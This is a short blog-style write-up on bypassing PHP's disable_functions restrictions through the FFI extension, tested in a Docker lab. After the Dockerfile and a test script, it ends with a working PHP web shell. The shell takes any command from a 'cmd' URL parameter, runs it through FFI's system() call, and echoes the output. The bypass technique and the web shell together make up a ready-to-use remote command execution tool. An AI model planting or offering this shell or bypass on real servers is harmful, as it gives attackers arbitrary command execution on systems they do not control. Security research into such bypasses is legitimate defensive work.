Description
Recently, I encountered a situation where most PHP functions were disabled. To facilitate more accurate debugging and analysis, I recreated the environment in a Docker container.
Docker setup
Dockerfile
FROM php:8.0-apache
RUN apt update
RUN apt install nano libffi-dev
RUN docker-php-ext-configure ffi --with-ffi
RUN docker-php-ext-install ffi
RUN echo "<?php phpinfo();?>" > phpinfo.php
COPY ffi_bypass.php /var/www/html/ffi_bypass.php
RUN cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini
RUN sed -i "s|;ffi.enable=preload|ffi.enable=true|g" /usr/local/etc/php/php.ini
RUN sed -i "s|disable_functions =|disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen|g" /usr/local/etc/php/php.ini
RUN chown -R www-data:www-data /var/www/html/
ENTRYPOINT ["apache2-foreground"]
Build
docker build -t phpffi .
Run
docker run --rm -ti -p 8081:80 phpffi
In order to access the web application running in the Docker container, I exposed port 80
in the container to port 8081
on my local machine.
PHPInfo
Disable Functions List
It’s possible that you are wondering why the application was originally written in PHP 😆! Don’t worry about it and just keep reading! No complaining allowed.
What took my attention that FFI is enable !
Foreign Function Interface (FFI)
Important note
This extension is disabled in the default PHP installation.
Introduction
Bypass disable functions
The FFI (Foreign Function Interface) extension in PHP allows developers to call any C function from within PHP code. This can be very useful, as it allows you to execute command-line functions such as system()
. system
We have to create a new FFI object using the cdef
function
Despite my initial efforts, I was unable to execute commands using the FFI extension. After some trial and error, I realized that the problem was with my attempts to print the results using functions such as echo or print. These functions are not capable of properly displaying the output of command-line functions, so I had to find a different way to retrieve and display the results of my commands.
Ultimately, I was able to create a small PHP script to test whether I was able to execute commands using the FFI extension. The script attempted to create a file named test, which would be an indication that command execution was successful. The code I used:
<?php
$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('echo "test" > test');
?>
And it worked !
Final code
The PHP code below can be used to execute and print the result of any command:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
$rand=rand();
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("{$cmd} > /dev/shm/{$rand}");
echo file_get_contents("/dev/shm/{$rand}");
$ffi->system("rm /dev/shm/{$rand}");
}
?>
And the usage is pretty simple: http://127.0.0.1:8081/bypass.php?cmd=id